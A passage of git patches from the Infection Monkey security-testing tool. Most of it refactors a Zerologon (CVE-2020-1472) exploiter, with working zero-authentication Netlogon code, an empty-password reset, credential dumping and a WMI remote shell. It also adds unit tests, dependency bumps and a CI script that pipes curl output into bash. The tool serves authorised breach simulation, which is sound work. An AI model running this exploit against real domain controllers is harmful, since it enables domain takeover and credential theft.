original_pwd_nthash @@ -485,7 +483,7 @@ class ZerologonExploiter(HostExploiter): return False def try_restoration_attempt( - self, rpc_con: object, original_pwd_nthash: str + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> bool: try: restoration_attempt_result = self.attempt_restoration( @@ -503,7 +501,7 @@ class ZerologonExploiter(HostExploiter): return False def attempt_restoration( - self, rpc_con: object, original_pwd_nthash: str + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py new file mode 100644 index 000000000..e69de29bb From defc94dd59a599230680fb1d1492363d918fd61b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 22 Feb 2021 18:18:20 +0530 Subject: [PATCH 314/466] Add zerologon_utils/vuln_assessment.py --- monkey/infection_monkey/exploit/zerologon.py | 89 ++---------------- .../zerologon_utils/vuln_assessment.py | 92 +++++++++++++++++++ 2 files changed, 98 insertions(+), 83 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2ad8a7259..9f539e67f 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -10,7 +10,6 @@ from binascii import unhexlify from typing import Dict, List, Optional, Tuple import impacket -import nmb.NetBIOS from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL @@ -18,6 +17,8 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump +from infection_monkey.exploit.zerologon_utils.vuln_assessment import ( + get_dc_details, is_exploitable) from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture @@ -40,12 +41,10 @@ class ZerologonExploiter(HostExploiter): self._extracted_creds = {} def _exploit_host(self) -> bool: - self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details( - self.host - ) + self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) - is_exploitable, rpc_con = self.is_exploitable() - if is_exploitable: + can_exploit, rpc_con = is_exploitable(self) + if can_exploit: LOG.info("Target vulnerable, changing account password to empty string.") # Start exploiting attempts. @@ -72,47 +71,6 @@ class ZerologonExploiter(HostExploiter): return _exploited - @staticmethod - def get_dc_details(host: object) -> (str, str, str): - dc_ip = host.ip_addr - dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip) - dc_handle = "\\\\" + dc_name - return dc_ip, dc_name, dc_handle - - @staticmethod - def get_dc_name(dc_ip: str) -> str: - """ - Gets NetBIOS name of the Domain Controller (DC). - """ - try: - nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName( - ip=dc_ip - ) # returns either a list of NetBIOS names or None - return name[0] if name else "" - except BaseException as ex: - LOG.info(f"Exception: {ex}") - - def is_exploitable(self) -> (bool, object): - # Connect to the DC's Netlogon service. - try: - rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip) - except Exception as e: - LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return False, None - - # Try authenticating. - for _ in range(0, self.MAX_ATTEMPTS): - try: - rpc_con_auth_result = self._try_zero_authenticate(rpc_con) - if rpc_con_auth_result is not None: - return True, rpc_con_auth_result - except Exception as ex: - LOG.info(ex) - return False, None - - return False, None - @staticmethod def connect_to_dc(dc_ip) -> object: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") @@ -121,41 +79,6 @@ class ZerologonExploiter(HostExploiter): rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con - def _try_zero_authenticate(self, rpc_con: rpcrt.DCERPC_v5) -> object: - plaintext = b"\x00" * 8 - ciphertext = b"\x00" * 8 - flags = 0x212FFFFF - - # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge( - rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext - ) - - try: - server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, - self.dc_handle + "\x00", - self.dc_name + "$\x00", - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + "\x00", - ciphertext, - flags, - ) - - assert server_auth["ErrorCode"] == 0 - return rpc_con - - except nrpc.DCERPCSessionError as ex: - if ( - ex.get_error_code() == 0xC0000022 - ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. - pass - else: - raise Exception(f"Unexpected error code: {ex.get_error_code()}.") - - except BaseException as ex: - raise Exception(f"Unexpected error: {ex}.") - def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: for _ in range(0, self.MAX_ATTEMPTS): exploit_attempt_result = self.try_exploit_attempt(rpc_con) @@ -187,7 +110,7 @@ class ZerologonExploiter(HostExploiter): return rpc_con.request(request) @staticmethod - def _set_up_request(request: nrps.NetrServerPasswordSet2, dc_name: str) -> None: + def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None: authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator["Credential"] = b"\x00" * 8 authenticator["Timestamp"] = b"\x00" * 4 diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index e69de29bb..60df0db29 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -0,0 +1,92 @@ +import logging +from typing import Optional + +import nmb.NetBIOS +from impacket.dcerpc.v5 import nrpc, rpcrt + +LOG = logging.getLogger(__name__) + + +def get_dc_details(host: object) -> (str, str, str): + dc_ip = host.ip_addr + dc_name = _get_dc_name(dc_ip=dc_ip) + dc_handle = "\\\\" + dc_name + return dc_ip, dc_name, dc_handle + + +def _get_dc_name(dc_ip: str) -> str: + """ + Gets NetBIOS name of the Domain Controller (DC). + """ + try: + nb = nmb.NetBIOS.NetBIOS() + name = nb.queryIPForName( + ip=dc_ip + ) # returns either a list of NetBIOS names or None + return name[0] if name else "" + except BaseException as ex: + LOG.info(f"Exception: {ex}") + + +def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]): + # Connect to the DC's Netlogon service. + try: + rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip) + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return False, None + + # Try authenticating. + for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): + try: + rpc_con_auth_result = _try_zero_authenticate( + zerologon_exploiter_object, rpc_con + ) + if rpc_con_auth_result is not None: + return True, rpc_con_auth_result + except Exception as ex: + LOG.info(ex) + return False, None + + return False, None + + +def _try_zero_authenticate( + zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5 +) -> rpcrt.DCERPC_v5: + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "\x00", + plaintext, + ) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + zerologon_exploiter_object.dc_name + "\x00", + ciphertext, + flags, + ) + + assert server_auth["ErrorCode"] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ( + ex.get_error_code() == 0xC0000022 + ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + raise Exception(f"Unexpected error code: {ex.get_error_code()}.") + + except BaseException as ex: + raise Exception(f"Unexpected error: {ex}.") From a2c11759a4d5061c20592e20c42e363b525c4612 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 22 Feb 2021 22:33:39 +0530 Subject: [PATCH 315/466] Add unit tests --- .../exploit/tests/test_zerologon.py | 94 +++++++++++++++++++ .../zerologon_utils/test_vuln_assessment.py | 41 ++++++++ monkey/infection_monkey/exploit/zerologon.py | 2 +- 3 files changed, 136 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/exploit/tests/test_zerologon.py create mode 100644 monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/infection_monkey/exploit/tests/test_zerologon.py new file mode 100644 index 000000000..efc8a75e2 --- /dev/null +++ b/monkey/infection_monkey/exploit/tests/test_zerologon.py @@ -0,0 +1,94 @@ +import pytest + +from infection_monkey.exploit.zerologon import ZerologonExploiter +from infection_monkey.model.host import VictimHost + + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" +NETBIOS_NAME = "NetBIOS Name" + +USERS = ["Administrator", "Bob"] +RIDS = ["500", "1024"] +LM_HASHES = ["abc123", "098zyx"] +NT_HASHES = ["def456", "765vut"] + + +@pytest.fixture +def zerologon_exploiter_object(monkeypatch): + def mock_report_login_attempt(**kwargs): + return None + + host = VictimHost(IP, DOMAIN_NAME) + obj = ZerologonExploiter(host) + monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False) + monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) + return obj + + +def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object): + dummy_exploit_attempt_result = {"ErrorCode": 0} + assert zerologon_exploiter_object.assess_exploit_attempt_result( + dummy_exploit_attempt_result + ) + + +def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): + dummy_exploit_attempt_result = {"ErrorCode": 1} + assert not zerologon_exploiter_object.assess_exploit_attempt_result( + dummy_exploit_attempt_result + ) + + +def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object): + dummy_restoration_attempt_result = object() + assert zerologon_exploiter_object.assess_restoration_attempt_result( + dummy_restoration_attempt_result + ) + + +def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object): + dummy_restoration_attempt_result = False + assert not zerologon_exploiter_object.assess_restoration_attempt_result( + dummy_restoration_attempt_result + ) + + +def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): + mock_dumped_secrets = [ + f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" + for i in range(len(USERS)) + ] + expected_extracted_creds = { + USERS[0]: { + "RID": int(RIDS[0]), + "lm_hash": LM_HASHES[0], + "nt_hash": NT_HASHES[0], + }, + USERS[1]: { + "RID": int(RIDS[1]), + "lm_hash": LM_HASHES[1], + "nt_hash": NT_HASHES[1], + }, + } + assert ( + zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) + is None + ) + assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds + + +def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object): + mock_dumped_secrets = [ + f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" + for i in range(len(USERS)) + ] + expected_extracted_creds = { + USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""}, + USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""}, + } + assert ( + zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) + is None + ) + assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py new file mode 100644 index 000000000..cddb7522f --- /dev/null +++ b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py @@ -0,0 +1,41 @@ +import pytest +from nmb.NetBIOS import NetBIOS + +from infection_monkey.exploit.zerologon_utils.vuln_assessment import \ + get_dc_details +from infection_monkey.model.host import VictimHost + + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" + + +@pytest.fixture +def host(): + return VictimHost(IP, DOMAIN_NAME) + + +def test_get_dc_details_multiple_netbios_names(host, monkeypatch): + def mock_queryIPForName(*args, **kwargs): + return NETBIOS_NAMES + + monkeypatch.setattr(NetBIOS, "queryIPForName", mock_queryIPForName) + + NETBIOS_NAMES = ["Name1", "Name2", "Name3"] + dc_ip, dc_name, dc_handle = get_dc_details(host) + assert dc_ip == IP + assert dc_name == NETBIOS_NAMES[0] + assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}" + + +def test_get_dc_details_no_netbios_names(host, monkeypatch): + def mock_queryIPForName(*args, **kwargs): + return NETBIOS_NAMES + + monkeypatch.setattr(NetBIOS, "queryIPForName", mock_queryIPForName) + + NETBIOS_NAMES = [] + dc_ip, dc_name, dc_handle = get_dc_details(host) + assert dc_ip == IP + assert dc_name == "" + assert dc_handle == "\\\\" diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 9f539e67f..5cf589fcd 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -407,7 +407,7 @@ class ZerologonExploiter(HostExploiter): def try_restoration_attempt( self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str - ) -> bool: + ) -> Optional[object]: try: restoration_attempt_result = self.attempt_restoration( rpc_con, original_pwd_nthash From 8b60625d810eef7632150e782cf48120f37bbd52 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Feb 2021 21:58:19 +0000 Subject: [PATCH 316/466] build(deps): bump marked in /monkey/monkey_island/cc/ui Bumps [marked](https://github.com/markedjs/marked) from 1.1.1 to 2.0.0. - [Release notes](https://github.com/markedjs/marked/releases) - [Changelog](https://github.com/markedjs/marked/blob/master/release.config.js) - [Commits](https://github.com/markedjs/marked/compare/v1.1.1...v2.0.0) Signed-off-by: dependabot[bot] --- monkey/monkey_island/cc/ui/package-lock.json | 6 +++--- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index ae27d3c33..a805a7ba2 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -8274,9 +8274,9 @@ } }, "marked": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/marked/-/marked-1.1.1.tgz", - "integrity": "sha512-mJzT8D2yPxoPh7h0UXkB+dBj4FykPJ2OIfxAWeIHrvoHDkFxukV/29QxoFQoPM6RLEwhIFdJpmKBlqVM3s2ZIw==" + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz", + "integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q==" }, "mathml-tag-names": { "version": "2.1.3", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index dbf1c9545..618f02d5e 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -75,7 +75,7 @@ "filepond": "^4.19.2", "jwt-decode": "^2.2.0", "lodash": "^4.17.20", - "marked": "^1.1.1", + "marked": "^2.0.0", "normalize.css": "^8.0.0", "npm": "^6.14.7", "pluralize": "^7.0.0", From 353e9844dce11c88c6d25cf1a27d16a83668452f Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 23 Feb 2021 12:57:50 +0530 Subject: [PATCH 317/466] Modify unit tests --- .../zerologon_utils/test_vuln_assessment.py | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py index cddb7522f..7c833a67b 100644 --- a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py +++ b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py @@ -15,13 +15,18 @@ def host(): return VictimHost(IP, DOMAIN_NAME) +def _get_stub_queryIPForName(netbios_names): + def stub_queryIPForName(*args, **kwargs): + return netbios_names + return stub_queryIPForName + + def test_get_dc_details_multiple_netbios_names(host, monkeypatch): - def mock_queryIPForName(*args, **kwargs): - return NETBIOS_NAMES - - monkeypatch.setattr(NetBIOS, "queryIPForName", mock_queryIPForName) - NETBIOS_NAMES = ["Name1", "Name2", "Name3"] + + stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES) + monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName) + dc_ip, dc_name, dc_handle = get_dc_details(host) assert dc_ip == IP assert dc_name == NETBIOS_NAMES[0] @@ -29,12 +34,11 @@ def test_get_dc_details_multiple_netbios_names(host, monkeypatch): def test_get_dc_details_no_netbios_names(host, monkeypatch): - def mock_queryIPForName(*args, **kwargs): - return NETBIOS_NAMES - - monkeypatch.setattr(NetBIOS, "queryIPForName", mock_queryIPForName) - NETBIOS_NAMES = [] + + stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES) + monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName) + dc_ip, dc_name, dc_handle = get_dc_details(host) assert dc_ip == IP assert dc_name == "" From 4aa9a14f1326229678beadbae47af3e6c61ca5ca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Feb 2021 07:50:40 -0500 Subject: [PATCH 318/466] ci: remove `swimm verify` for now There is a bug in swimm that is causing `swimm verify` to fail in the CI pipeline, eventhough it succeeds locally. Disabling for now while the swimm team works to rectify the issue. --- .travis.yml | 8 -------- 1 file changed, 8 deletions(-) diff --git a/.travis.yml b/.travis.yml index 29b455ef7..668d9cdc3 100644 --- a/.travis.yml +++ b/.travis.yml @@ -86,14 +86,6 @@ script: - cd $TRAVIS_BUILD_DIR/docs - hugo --verbose --environment staging -# verify swimm -- cd $TRAVIS_BUILD_DIR -- wget "https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv029%2FSwimm_0.2.9_Setup.deb?alt=media&token=774ebd98-cb4e-4615-900c-aada224c1608" -O swimm -- sudo dpkg -i swimm || (sudo apt-get update && sudo apt-get -f install) -- chmod +x ./swimm -- swimm --version -- swimm verify - after_success: # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information - bash <(curl -s https://codecov.io/bash) From db52f0966f722bd1a5a96660591af5592e1aa39d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 23 Feb 2021 17:49:38 +0530 Subject: [PATCH 319/466] Modify `PaginatedTable`: let `ReactTable` handle the case where no data is available --- .../common/PaginatedTable.js | 30 ++++++++----------- 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js index 152faa624..c940c1192 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -4,25 +4,19 @@ import * as PropTypes from 'prop-types'; class PaginatedTable extends Component { render() { - if (this.props.data.length > 0) { - let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; - let showPagination = this.props.data.length > this.props.pageSize; + let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; + let showPagination = this.props.data.length > this.props.pageSize; - return ( -
    - -
    - ); - } else { - return ( -
    - ); - } + return ( +
    + +
    + ); } } From fdeb54d54125376eb2708065872c3710f041cdec Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Feb 2021 15:21:11 +0200 Subject: [PATCH 320/466] Added jwt_required decorator to the "local_run" endpoint, in order to avoid malicious actors running the monkey --- monkey/monkey_island/cc/resources/local_run.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index c0e690a4f..1a388db0a 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -11,6 +11,7 @@ import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.models import Monkey from monkey_island.cc.services.utils.network_utils import local_ip_addresses +from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.services.node import NodeService @@ -55,6 +56,7 @@ def run_local_monkey(): class LocalRun(flask_restful.Resource): + @jwt_required def get(self): NodeService.update_dead_monkeys() island_monkey = NodeService.get_monkey_island_monkey() @@ -65,6 +67,7 @@ class LocalRun(flask_restful.Resource): return jsonify(is_running=is_monkey_running) + @jwt_required def post(self): body = json.loads(request.data) if body.get('action') == 'run': From 28edf7d2b79b017b96e414f03481c55838a5a24f Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 24 Feb 2021 16:08:36 +0530 Subject: [PATCH 321/466] Encrypt credentials before logging --- monkey/infection_monkey/exploit/zerologon.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 5cf589fcd..dee5c349a 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -163,13 +163,13 @@ class ZerologonExploiter(HostExploiter): ] try: original_pwd_nthash = self.get_original_pwd_nthash( - username, ":".join(user_pwd_hashes) + username, user_pwd_hashes ) if original_pwd_nthash: break except Exception as e: LOG.info( - f'Credentials "{user_details}" didn\'t work. Exception: {str(e)}' + f"Credentials didn\'t work. Exception: {str(e)}" ) if not original_pwd_nthash: @@ -304,7 +304,7 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str: + def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: if not self.save_HKLM_keys_locally(username, user_pwd_hashes): return @@ -335,13 +335,16 @@ class ZerologonExploiter(HostExploiter): finally: self.remove_locally_saved_HKLM_keys() - def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool: - LOG.debug( - f'Starting remote shell on victim with user: "{username}" and hashes: "{user_pwd_hashes}". ' + def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: + LOG.info( + f'Starting remote shell on victim with credentials:\n' + f'user: {username}\n' + f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : ' + f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}' ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=user_pwd_hashes, domain=self.dc_ip + ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip ) remote_shell = wmiexec.get_remote_shell() From 43cac3568b87c72c46139af091a39a3b9cf32764 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 Feb 2021 16:18:58 +0530 Subject: [PATCH 322/466] Reword exploiter description Co-authored-by: Mike Salvatore --- .../config_schema/definitions/exploiter_classes.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 32a99026d..ecc9b0029 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -156,10 +156,11 @@ EXPLOITER_CLASSES = { ], "title": "Zerologon Exploiter", "safe": False, - "info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and " - "might break communication with other domain controllers.) " - "Exploits a privilege escalation vulnerability in a Windows server domain controller, " - "using the Netlogon Remote Protocol (MS-NRPC).", + "info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " + "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " + "This exploiter changes the password of a Windows server domain controller " + "account and could prevent the victim domain controller from communicating " + "with other domain controllers.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" } ] From b5b8d289cae729f81417b61266a320b713953e15 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Feb 2021 13:23:46 -0500 Subject: [PATCH 323/466] cc: add a note about resetting password after failed zerologon attempt --- .../services/config_schema/definitions/exploiter_classes.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index ecc9b0029..fc1342eb4 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -160,7 +160,10 @@ EXPLOITER_CLASSES = { "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " "This exploiter changes the password of a Windows server domain controller " "account and could prevent the victim domain controller from communicating " - "with other domain controllers.", + "with other domain controllers. While it attempts to undo " + "its changes and reset the password back to the original after the " + "vulnerability is exploited, this is not successful in all cases. For " + "instructions on how to reset the domain controller's password, see the documentation.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" } ] From b6bb6d82217afd5655a9ebdaed968304dff70f9e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Feb 2021 13:40:49 -0500 Subject: [PATCH 324/466] cc: format exploiter_classes.py with black --- .../definitions/exploiter_classes.py | 125 +++++++----------- 1 file changed, 49 insertions(+), 76 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index fc1342eb4..cc66cd353 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -2,169 +2,142 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN EXPLOITER_CLASSES = { "title": "Exploit class", - "description": "Click on exploiter to get more information about it." + WARNING_SIGN + - " Note that using unsafe exploits may cause crashes of the exploited machine/service.", + "description": "Click on exploiter to get more information about it." + + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service.", "type": "string", "anyOf": [ { "type": "string", - "enum": [ - "SmbExploiter" - ], + "enum": ["SmbExploiter"], "title": "SMB Exploiter", "safe": True, "attack_techniques": ["T1110", "T1075", "T1035"], "info": "Brute forces using credentials provided by user and" - " hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/" + " hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/", }, { "type": "string", - "enum": [ - "WmiExploiter" - ], + "enum": ["WmiExploiter"], "title": "WMI Exploiter", "safe": True, "attack_techniques": ["T1110", "T1106"], "info": "Brute forces WMI (Windows Management Instrumentation) " - "using credentials provided by user and hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/" + "using credentials provided by user and hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/", }, { "type": "string", - "enum": [ - "MSSQLExploiter" - ], + "enum": ["MSSQLExploiter"], "title": "MSSQL Exploiter", "safe": True, "attack_techniques": ["T1110"], "info": "Tries to brute force into MsSQL server and uses insecure " - "configuration to execute commands on server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/" + "configuration to execute commands on server.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/", }, { "type": "string", - "enum": [ - "Ms08_067_Exploiter" - ], + "enum": ["Ms08_067_Exploiter"], "title": "MS08-067 Exploiter", "safe": False, "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. " - "Uses MS08-067 vulnerability.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/" + "Uses MS08-067 vulnerability.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/", }, { "type": "string", - "enum": [ - "SSHExploiter" - ], + "enum": ["SSHExploiter"], "title": "SSH Exploiter", "safe": True, "attack_techniques": ["T1110", "T1145", "T1106"], "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/", }, { "type": "string", - "enum": [ - "ShellShockExploiter" - ], + "enum": ["ShellShockExploiter"], "title": "ShellShock Exploiter", "safe": True, "info": "CVE-2014-6271, based on logic from " - "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/" + "https://github.com/nccgroup/shocker/blob/master/shocker.py .", + "link": 